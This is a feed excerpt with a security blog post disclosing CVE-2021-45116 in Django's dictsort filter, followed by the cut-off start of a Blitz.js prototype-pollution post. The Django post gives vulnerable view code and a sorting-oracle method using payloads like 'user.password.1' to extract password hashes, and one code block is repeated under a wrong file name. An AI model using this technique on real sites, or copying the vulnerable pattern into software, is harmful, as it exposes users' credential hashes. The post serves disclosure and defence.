GMT</pubDate><content:encoded>&lt;p&gt;Django is an open-source Python framework offering modular and reusable components to enable faster development cycles. These components also provide safe foundations for applications, with the core shipping mitigations against most web security mistakes with a strong default configuration.&lt;/p&gt;&lt;p&gt;It&amp;#x27;s hard, by nature, to get a precise estimate of how many websites rely on a given backend technology stack to operate. Still, its adoption by companies like Mozilla, Instagram, and hobbyist projects shows how deep it is embedded in the Python ecosystem. At the time of writing, the project has around 65,000 stars on Github.&lt;/p&gt;&lt;p&gt;During research on Django, we undertook to sharpen our static analysis technology, we discovered a way to trick the framework into disclosing sensitive information by interacting with how the data is sorted before displaying it in the interface. Even though this information is obtained through a side-channel based on its relation with other unknown data, we could perform this attack and extract sensitive information in a very reliable manner.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;In cases where users can control how the visualized data will be sorted before display, attackers can leverage this difference to disclose security-sensitive information, like email addresses and password hashes. The basis for this vulnerability is the insecure variable resolution logic in the &lt;code&gt;dictsort&lt;/code&gt; filter of Django templates. In addition to the leaking of security-related information, we could also demonstrate how this vulnerability could lead to the invocation of an arbitrary method, but with solid limitations.&lt;/p&gt;&lt;p&gt;We responsibly disclosed this finding to the Django maintainers, which prompted them to release fixes on the three supported branches (2.2.26, 3.2.11, and 4.0.1). This vulnerability was later assigned CVE-2021-45116 with a CVSS score of 7.5 (High). &lt;/p&gt;&lt;p&gt;&lt;strong&gt;We recommend upgrading applications relying on vulnerable versions of the Django framework to address this risk.&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we first explain how the template engine operates to go into more detail about the cause of insecure variable resolution logic in the &lt;code&gt;dictsort&lt;/code&gt; filter of Django templates. Afterward, we demonstrate how an attacker can use this limited vector to extract password hashes of all Django users.&lt;/p&gt;&lt;h3&gt;Playing with the Django Templating Language&lt;/h3&gt;&lt;p&gt;Most frameworks adhering to the MVC (Model, View, Controller) architecture offer ways to programmatically express what the user will be seeing (the &amp;quot;view&amp;quot;). The component in charge of this task is called a &lt;em&gt;templating engine&lt;/em&gt;; each comes with its own simple language and set of built-in functions (also called filters).&lt;/p&gt;&lt;p&gt;Django supports multiple templating engines, but we&amp;#x27;ll focus on DTL (for Django Templating Language) in the next sections as this is the default one. &lt;/p&gt;&lt;p&gt;Let&amp;#x27;s say that you would like to create a page showing every registered user of your database while leaving the ability to your users to change the order in which they will be displayed based on criteria of their choice. For instance, they could want only the most recently updated ones, and later the ones starting with the letter a. &lt;/p&gt;&lt;p&gt;The code below is what most developers would write:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;views.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1 from django.contrib.auth import get_user_model
2 from django.shortcuts import render
3
4 def list_users(request):
5     sort = request.GET[&apos;sort&apos;]
6     user_model = get_user_model()
7     all_users = list(user_model.objects.all())
8
9     to_sort = []
10     for user_obj in all_users:
11             to_sort.append({&apos;users&apos;: user_obj})
12
13    context = {&apos;users&apos;: to_sort, &apos;sort&apos;: sort}
14    return render(request, &apos;users.html&apos;, context)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;views.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;As we can see on line 7, all users are fetched from the database before being placed in a dictionary with a &lt;code&gt;sort&lt;/code&gt; attribute on line 13. This object is then passed as context to the template to be rendered:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;templates/users.html&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1 &lt;html&gt;
2 &lt;h1&gt;List all users&lt;/h1&gt;
3 {% for e in users|dictsort:sort %}
4     &lt;li&gt; user: {{ e.user.username }}
5 {% endfor %}
6 &lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;templates/users.html&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Notice the use of the built-in filter &lt;code&gt;dictsort&lt;/code&gt; on line 3, provided with our database entries and the sort criteria defined by the client. This filter will do all the hard work and perform the sort operation for us. &lt;/p&gt;&lt;p&gt;This code is correct and will have the expected behavior; however, it introduces a subtle vulnerability in the application when deployed with a vulnerable release of Django.&lt;/p&gt;&lt;h3&gt;What&amp;#x27;s inside dictsort?&lt;/h3&gt;&lt;p&gt;In this section, we deep dive into the implementation of the &lt;code&gt;dictsort&lt;/code&gt; filter, part of the Django core.&lt;/p&gt;&lt;p&gt;Its code is fairly concise as it relies on the built-in Python function &lt;code&gt;sorted&lt;/code&gt; the custom function &lt;code&gt;_property_resolver&lt;/code&gt; to decide the order of the list&amp;#x27;s elements in the parameter &lt;code&gt;key&lt;/code&gt;, on line 514:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;django/template/defaultfilters.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;481 def _property_resolver(arg):
499     try:
500         float(arg)
501     except ValueError:
502         return Variable(arg).resolve
    [...]
507 @register.filter(is_safe=False)
508 def dictsort(value, arg):
513     try:
514         return sorted(value, key=_property_resolver(arg))
515     except (TypeError, VariableDoesNotExist):
516         return &apos;&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;django/template/defaultfilters.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This custom function first tries to cast the user-controlled argument to a &lt;code&gt;float&lt;/code&gt; and then instantiates a new &lt;code&gt;Variable&lt;/code&gt; object if the cast failed. The instantiation of the &lt;code&gt;Variable&lt;/code&gt; object and the invocation of the &lt;code&gt;resolve&lt;/code&gt; method is the general logic for resolving template variables in Django. &lt;/p&gt;&lt;p&gt;Given the value of the parameter &lt;code&gt;arg&lt;/code&gt;, the &lt;code&gt;Variable&lt;/code&gt; class ensures that it does not try to reference a private method or attribute on line 786—such variables all start with an underscore &lt;a href=&quot;https://peps.python.org/pep-0008/#method-names-and-instance-variables&quot;&gt;by convention&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;django/template/base.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;481 def _property_resolver(arg):
499     try:
500         float(arg)
501     except ValueError:
502         return Variable(arg).resolve
    [...]
507 @register.filter(is_safe=False)
508 def dictsort(value, arg):
513     try:
514         return sorted(value, key=_property_resolver(arg))
515     except (TypeError, VariableDoesNotExist):
516         return &apos;&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;django/template/base.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This custom function first tries to cast the user-controlled argument to a &lt;code&gt;float&lt;/code&gt; and then instantiates a new &lt;code&gt;Variable&lt;/code&gt; object if the cast failed. The instantiation of the &lt;code&gt;Variable&lt;/code&gt; object and the invocation of the &lt;code&gt;resolve&lt;/code&gt; method is the general logic for resolving template variables in Django. &lt;/p&gt;&lt;p&gt;Given the value of the parameter &lt;code&gt;arg&lt;/code&gt;, the &lt;code&gt;Variable&lt;/code&gt; class ensures that it does not try to reference a private method or attribute on line 786—such variables all start with an underscore &lt;a href=&quot;https://peps.python.org/pep-0008/#method-names-and-instance-variables&quot;&gt;by convention&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;django/template/base.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;727 class Variable:
746     def __init__(self, var):
786         if var.find(VARIABLE_ATTRIBUTE_SEPARATOR + &apos;_&apos;) &gt; -1 or var[0] == &apos;_&apos;:
787             raise TemplateSyntaxError()
790         self.lookups = tuple(var.split(VARIABLE_ATTRIBUTE_SEPARATOR))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;django/template/base.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;If such a prefix is present, the code raises an exception to prevent further processing of the reference to the variable. This mechanism effectively prevents attackers from getting to sensitive internal variables via Python builtins. &lt;/p&gt;&lt;p&gt;Values passing the check are later resolved with a method named &lt;code&gt;_resolve_lookup&lt;/code&gt; to find a variable whose name is contained in &lt;code&gt;arg&lt;/code&gt;. The following listing shows the interesting parts of &lt;code&gt;_resolve_lookup&lt;/code&gt;; it was streamlined and slightly simplified to fit this article.&lt;/p&gt;&lt;p&gt;The variable resolution syntax is not limited to accessing attributes and tries four different lookups:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Line 829: dictionary lookup, e.g., foo.bar to do &lt;code&gt;foo[bar]&lt;/code&gt; in Python&lt;/li&gt;&lt;li&gt;Line 837: Attribute lookup, e.g., foo.bar to do &lt;code&gt;foo.bar&lt;/code&gt; in Python&lt;/li&gt;&lt;li&gt;Line 843: List-index lookup, e.g., foo.1 to do &lt;code&gt;foo[1]&lt;/code&gt; in Python&lt;/li&gt;&lt;li&gt;Lines 851 to 858: Method call or object instantiation without arguments, e.g., foo.bar to do  &lt;code&gt;foo.bar()&lt;/code&gt; in Python&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;django/template/base.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;727 class Variable:
816    def _resolve_lookup(self, context):
825        current = context
826        try:
827            for bit in self.lookups:
828                try:
829                    current = current[bit]
832                except:
833                    try:
837                        current = getattr(current, bit)
838                    except:
842                        try:
843                            current = current[int(bit)]
844                        except:
848                            raise Exception
851            if callable(current):
854                if getattr(current, &apos;alters_data&apos;, False):
855                    raise Exception
856                else:
857                    try:
858                        current = current()
881        return current&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;django/template/base.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The acute reader will have identified a very specific condition on line 854: This is part of the Django templating API and documented &lt;a href=&quot;https://docs.djangoproject.com/en/4.0/ref/templates/api/&quot;&gt;on their website&lt;/a&gt;. It prevents templating functions from modifying, e.g., in this case, &lt;code&gt;foo.bar.delete()&lt;/code&gt; unless this &lt;code&gt;alters_data&lt;/code&gt; attribute is set first. This works as required by the conventions of the MVC architecture, where the &amp;quot;view&amp;quot; plane should not alter the data.&lt;/p&gt;&lt;p&gt;As we can see, Django has done quite a lot to keep the rendering process secure and to disarm the exploitation of untrusted resolution of variables. Despite this surprising primitive that allows calling arbitrary Python methods, the lack of controlled arguments allows us to perform actions such as deleting application files, emptying the database, or modifying the runtime configuration of Django.&lt;/p&gt;&lt;p&gt;However, we want to demonstrate another exploit technique that is little-known.&lt;/p&gt;&lt;h3&gt;Disclosing information with a sorting oracle&lt;/h3&gt;&lt;p&gt;In this section, we demonstrate an alternative approach to leak security-sensitive information like passwords hashes efficiently and thanks to &lt;code&gt;dictsort&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The following example shows how an attacker can extract information from a user object by abusing a sorting oracle:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1 user1_obj.username = &quot;sonarsource&quot;
2 user1_obj.password = &quot;scary&quot;
3 user2_obj.username = &quot;admin&quot;
4 user2_obj.password = &quot;admin&quot;
5 value = [ {&quot;user&quot;:user1_obj}, {&quot;user&quot;:user2.obj} ]


# output of dictsort sorted by the first character of the password
7 [ {&quot;user&quot;:user2_obj}, {&quot;user&quot;:user1.obj} ] -&gt; &apos;admin&apos;, &apos;sonarsource&apos;

# output of dictsort sorted by the second character of the password
9 [ {&quot;user&quot;:user1.obj}, {&quot;user&quot;:user2_obj}] -&gt; &apos;sonarsource&apos;, &apos;admin&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first 5 lines construct the users to be sorted. Line 7 shows the sorted list after sorting all users by their passwords&amp;#x27; first character &lt;code&gt;(0)&lt;/code&gt;. We see that the user &lt;code&gt;admin&lt;/code&gt; appears before the user &lt;code&gt;sonarsource&lt;/code&gt; in the sorted list. Now we sort all users by the second character &lt;code&gt;(1)&lt;/code&gt; of their passwords. In line 9, we now see that the user &lt;code&gt;sonarsource&lt;/code&gt; appears before &lt;code&gt;admin&lt;/code&gt; in the sorted list. &lt;/p&gt;&lt;p&gt;Thus, an attacker could learn something about the individual passwords of the users from the resulting sorting. &lt;/p&gt;&lt;p&gt;However, the attacker only knows that an ASCII character is greater or smaller than another:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user2_obj.password.0 (a) &lt; user1_obj.password.0 (s)
user1_obj.password.1 (c) &lt; user2_obj.password.1 (d)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For unique identification of each character of the password, every possible ASCII character must appear at every position of the password. In ASCII, there are 128 characters. If each character occurred only once at each position of the password, the attacker would need 128 users to extract the passwords without a wrong result.&lt;/p&gt;&lt;p&gt;In Django, passwords are hashes with an unknown secret and an unknown random salt. Furthermore, the attacker does not know his own password&amp;#x27;s hashed version. Therefore, changing his password to influence the sorting and learning about the other hashed passwords is not useful. In addition, passwords are not perfectly evenly distributed, and multiple occurrences of the same characters must be expected. The next section demonstrates how an attacker can overcome these difficulties to extract all passwords without errors.&lt;/p&gt;&lt;h3&gt;Applying this method to simple hashes&lt;/h3&gt;&lt;p&gt;We now have a theoretical attack to leak information using the sorting oracle, and we can apply it to password hashes of registered Django users. To simplify the explanation, we&amp;#x27;ve crafted a small example in the table below. We assume ten users in the database, and a password hash with the format &lt;code&gt;p[abcd]{2}$&lt;/code&gt;: every user&amp;#x27;s hash always starts with &lt;code&gt;p&lt;/code&gt; followed by two characters from the alphabet {a,b,c,d}.&lt;/p&gt;&lt;p&gt;The following table shows in the first column all usernames that are displayed unsorted, and between parentheses is a numerical identifier assigned by an attacker in ascending order. The second column shows the complete password hash of each user that an attacker would like to extract. Remember that the password hash field is not displayed on the interface.&lt;/p&gt;&lt;p&gt;But how does an attacker get the unsorted users in the first column? This output is obtained by sorting with the criteria &lt;code&gt;user.password.0&lt;/code&gt;. Since the first character of a hash is always a &lt;code&gt;p&lt;/code&gt; and thus the same for all users, the order of the users remains unsorted since there is no difference between them. We&amp;#x27;ll call it &amp;quot;unsorted&amp;quot; from now, and with this simple but effective trick of numbering the users, we have created a &lt;strong&gt;primitive&lt;/strong&gt; we will need later.&lt;/p&gt;&lt;p&gt;Request 1: unsorted list of users by sorting on the first character of the password&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Username (Identifier)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Password hash&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;admin (1)&lt;/td&gt;&lt;td&gt;pdd&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;hello (2)&lt;/td&gt;&lt;td&gt;pdd&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;foo.bar (3)&lt;/td&gt;&lt;td&gt;pcd&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Sonar (4)&lt;/td&gt;&lt;td&gt;pcc&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Source (5)&lt;/td&gt;&lt;td&gt;pcc&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;is (6)&lt;/td&gt;&lt;td&gt;pbc&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;cool (7)&lt;/td&gt;&lt;td&gt;pbb&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;apply (8)&lt;/td&gt;&lt;td&gt;pbb&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;now (9)&lt;/td&gt;&lt;td&gt;pab&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;! (10)&lt;/td&gt;&lt;td&gt;paa&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The second table shows the attacker&amp;#x27;s second request. The first column shows all users sorted by the second character of the hash via the payload &lt;code&gt;user.password.1&lt;/code&gt;. Keep in mind that the attacker only sees each user&amp;#x27;s username. However, since an attacker has given each username a unique identifier in the first request, each user can be reassigned to his id. Between parentheses is the second character of the hash of each user that the attacker wants to extract in this request. The second column contains the extracted character hash for each user.&lt;/p&gt;&lt;p&gt;Request 2: sorting based on the second character of the password&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;HASH_CHAR_1&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Group HASH_CHAR_1&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;9 (a)&lt;/td&gt;&lt;td&gt;a&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10 (a)&lt;/td&gt;&lt;td&gt;a&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;6 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;7 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;8 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;3 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;4 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;5 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;1 (d)&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2 (d)&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;But how can the attacker extract the correct character of the hash for each user from the second column? When we constructed the example, we assumed that every character of the hash occurs at every position. In this case, the first User 9 specifies the beginning of group &lt;code&gt;a&lt;/code&gt;, while the last User 2 defines the end of group &lt;code&gt;d&lt;/code&gt;. But how can an attacker now organize the remaining users? User 10 could now be in group &lt;code&gt;a&lt;/code&gt;, or in the next group &lt;code&gt;b&lt;/code&gt;. To overcome this inaccuracy, we use a simple trick to organize all remaining users into groups (our exploit primitive from the first request). If users are in the same group, the order of the users remains the same even after sorting. If this is not the case, the current user defines the beginning of the next and the end of the last group.&lt;/p&gt;&lt;p&gt;For example, in the first column of the first table, which contains the unsorted users, is User 10 after User 9.  However, after sorting by the second character of the hash referring to the first column of the second table, User 10 is still after User 9. Therefore the user with id 10 belongs to group a. However, the next User 6 is after User 10 and this should not happen if User 6 had the same second character as User 10. In this case, the sorting has &lt;strong&gt;rearranged&lt;/strong&gt; the order, indicating that another character occurred, so the attacker opens a new group b.&lt;/p&gt;&lt;p&gt;Here it becomes obvious why the unsorted list trick is so effective: the unsorted output of the users can be used to track the users even after their sorting and allows an attacker to precisely define which group the extracted character of each user belongs to.&lt;/p&gt;&lt;p&gt;The last table shows an attacker&amp;#x27;s third and last request and has the same structure as the previous table. The attacker sorts all hashes by the third character via the payload user.password.2 and can categorize each user into the corresponding groups as before.&lt;/p&gt;&lt;p&gt;Request 3: sorting based on the third character of the password&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;HASH_CHAR_2&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Group HASH_CHAR_2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10 (a)&lt;/td&gt;&lt;td&gt;a&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;7 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;8 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;9 (b)&lt;/td&gt;&lt;td&gt;b&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;4 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;5 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;6 (c)&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;1 (d)&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2 (d)&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;3 (d)&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Finally, the attacker only has to go through all groups for all characters and has extracted the complete hash of each user&amp;#x27;s password. An interesting fact is that it takes an attacker only three requests to extract all password hashes of ten users. Each request provided information about all hashes at the same time. Thus, the complexity of the extraction process does not depend on the number of users but is linear to the length of the extracted string. To extract a string of length n, an attacker only needs n+1 requests. The plus one is the first initial request to get an unsorted order (primitive) but can be ignored in case of complexity analysis.&lt;/p&gt;&lt;h3&gt;Applying this attack to Django hashes&lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s dive deeper into the structure of password hashes in Django to apply this attack on a real instance.&lt;/p&gt;&lt;p&gt;By default, Django uses the &lt;code&gt;pbkdf2_sha256&lt;/code&gt; algorithm with &lt;code&gt;320,000&lt;/code&gt; iterations, a &lt;code&gt;secret&lt;/code&gt;, and a random &lt;code&gt;salt&lt;/code&gt; for every user and always starts by default with the string &lt;code&gt;pbkdf2_sha256&lt;/code&gt;. It should be clear now why the hash in the example above always starts with &lt;code&gt;p&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Here is an example of what it looks like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;pbkdf2_sha256$320000$8ox2uTDNLbz0PZdmLJHoHw$V57Ajo9at9IYiy5C9viva9n0sCMA8JxG5SG1fvO/xMA=&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The salt &lt;code&gt;8ox2uTDNLbz0PZdmLJHoHw&lt;/code&gt; is safely generated and always has a length of 22 characters within the charset &lt;code&gt;[a-zA-Z0-9]&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The hash, &lt;code&gt;V57Ajo9at9IYiy5C9viva9n0sCMA8JxG5SG1fvO/xMA=&lt;/code&gt;, is base64-encoded and always has a length of 44 characters within the charset &lt;code&gt;[a-zA-Z0-9+\/=]&lt;/code&gt; because of the encoding.&lt;/p&gt;&lt;p&gt;The character set of salt is &lt;code&gt;[a-zA-Z0-9]&lt;/code&gt;, meaning that a maximum of 62 characters can appear in a salt resulting in 62 different groups. To hit each group once, we would need at least 62 users. However, after some experiments, it turns out that, on average, 374 users are necessary for each ASCII character of the salt to occur at least once at each position. Otherwise, an attacker could not assemble all the groups to extract the hashes.&lt;/p&gt;&lt;p&gt;The following figure shows the absolute frequency of each character from the salt charset &lt;code&gt;[a-zA-z0-9]&lt;/code&gt; for the first position &lt;code&gt;(0)&lt;/code&gt; of 382 generated salts. For this experiment run, we required 382 generated salts to meet the minimum requirement for an attack, requiring more salts than on average. However, we see that some characters appear more frequently than others which causes multiple occurrences of the same characters. For this reason, we need our primitive unsorted users again, as in the example mentioned above.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6c5081e0-8e15-41e6-a277-3ca1f623c623/body-bfdf5998-fb9c-4d11-8f12-92ad98185736_django_blog_salt.png&quot; /&gt;&lt;p&gt;As mentioned above, we are lucky that every password hash always starts by default with &lt;code&gt;pbkdf2_sha256&lt;/code&gt;. If we now sort all users by the first characters of the password hash, a &lt;code&gt;p&lt;/code&gt; is returned for each user, and here is our &amp;quot;unsorted&amp;quot; primitive again! The algorithm to extract all hashes (Salt + base64_encode(HASH)) is the same as described in the minimal example above.&lt;/p&gt;&lt;p&gt;On average, an attacker needs at least 800 registered users to extract all hashes of all users in only 67 (22 + 44 + 1) requests without a wrong hash.&lt;/p&gt;&lt;p&gt;The exploit would be possible with a smaller number of users but would result in multiple characters being possible for each password hash. There are probably some statistical tricks to reduce the errors, and in the worst case, some hash characters could be guessed by brute force. In the real world, an attacker can wait until the number of users is reached or register new users themselves if possible.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;One way to prevent this oracle sorting vulnerability would be to add an allowlist parameter to the &lt;code&gt;dictsort&lt;/code&gt; filter, restricting access to fields that the developer didn&amp;#x27;t explicitly intend, such as password hashes. This is the solution we initially suggested to the maintainers, with the non-negligible impact of breaking backward compatibility. &lt;/p&gt;&lt;p&gt;The maintainers chose to limit the functionalities of dictsort&amp;#x27;s &lt;code&gt;_property_resolver&lt;/code&gt; to allow only dictionary and attribute lookups.  As a result, an attacker can&amp;#x27;t call methods or instantiate objects without parameters, nor sort by individual characters of a string. &lt;/p&gt;&lt;p&gt;You can find the official advisory &lt;a href=&quot;https://www.djangoproject.com/weblog/2022/jan/04/security-releases/&quot;&gt;on Django&amp;#x27;s website&lt;/a&gt; and&lt;a href=&quot;https://github.com/django/django/commit/761f449e0daf3de06b0132bd4d6dfcdeef578e26&quot;&gt; the patch on GitHub&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-02&lt;/td&gt;&lt;td&gt;We report all issues to the Django maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-14&lt;/td&gt;&lt;td&gt;Vendor confirms the issues and sends an initial patch for review&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-04&lt;/td&gt;&lt;td&gt;Vendor releases patches for versions 2.2.26, 3.2.11, and 4.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we covered the technical details behind a vulnerable variable resolution logic in the &lt;code&gt;dictsort&lt;/code&gt; filter of Django and showed how an attacker could exploit it to extract sensitive data.&lt;/p&gt;&lt;p&gt;We hope that we will succeed in raising the attention of developers to this little-known vulnerability so that they understand the most critical aspects. We also wanted to demonstrate the capabilities of an attacker and how they can exploit side channels such as subtle differences in output, no matter how small.&lt;/p&gt;&lt;p&gt;We want to thank the maintainers of Django for their fast replies, patches, and very efficient vulnerability disclosure process.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/10-unknown-security-pitfalls-for-python/&quot;&gt;10 Unknown Security Pitfalls for Python&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hack-the-stack-with-localstack/&quot;&gt;Hack the Stack with LocalStack: Code Vulnerabilities Explained&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Remote Code Execution via Prototype Pollution in Blitz.js]]></title><description><![CDATA[We recently discovered a Prototype Pollution vulnerability in Blitz.js leading to Remote Code Execution. Learn about this bug class and how to avoid it in your code!]]></description><link>https://www.sonarsource.com/blog/blitzjs-prototype-pollution</link><guid isPermaLink="false">b1f49e0e-ed98-5122-b7ce-625455560dee</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 12 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Third-party dependencies are an easy way for developers to add functionality to their applications. This is great for productivity, but it also adds more attack surface and potential for bugs. While relying on battle-proven libraries is better than re-inventing the wheel, it is also important to check this hidden part of your code base for security vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our commitment to helping secure the open-source world, we decided to take a look at Blitz.js, an upcoming full-stack React framework. It is based on Next.js and includes features such as authentication, an API layer, and code generation out of the box. Promising to be a batteries-included software stack, it gained 11,000 stars on GitHub.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We identified a critical vulnerability in Blitz.js that allowed attackers to take over most instances. In this article, we first give an introduction to a bug class named Prototype Pollution. Then we describe the technical details of the vulnerability we discovered, its impact, and how you can prevent it in your code.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We discovered a Prototype Pollution vulnerability (CVE-2022-23631) in the serialization library &lt;code&gt;superjson&lt;/code&gt; used in the RPC layer of Blitz.js. It leads to Remote Code Execution on the server, and unauthenticated attackers can exploit it over the internet. A Blitz.js-based application is vulnerable if it implements at least one RPC call.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The issue has been fixed in &lt;code&gt;superjson&lt;/code&gt; 1.8.1 and Blitz.js 0.45.3, so we recommend updating your dependencies to these versions or higher.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will first explain how prototypes work in JavaScript and what Prototype Pollution is. Then will show a real-world example of this in Blitz.js. Finally, we will give recommendations on how to avoid Prototype Pollution vulnerabilities in your JavaScript 